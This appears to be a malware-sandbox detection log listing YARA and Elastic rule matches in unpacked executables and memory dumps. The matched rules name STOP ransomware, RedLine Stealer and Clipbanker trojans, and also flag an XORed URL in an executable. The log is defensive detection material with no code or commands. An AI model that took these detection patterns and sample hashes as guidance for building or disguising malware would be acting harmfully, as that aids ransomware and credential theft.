Source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.343989029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.350733876.0000000002105000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000006.00000000.321377469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.304747895.000000000218B000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.301522504.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.349827384.00000000004B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.348844154.000000000210E000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
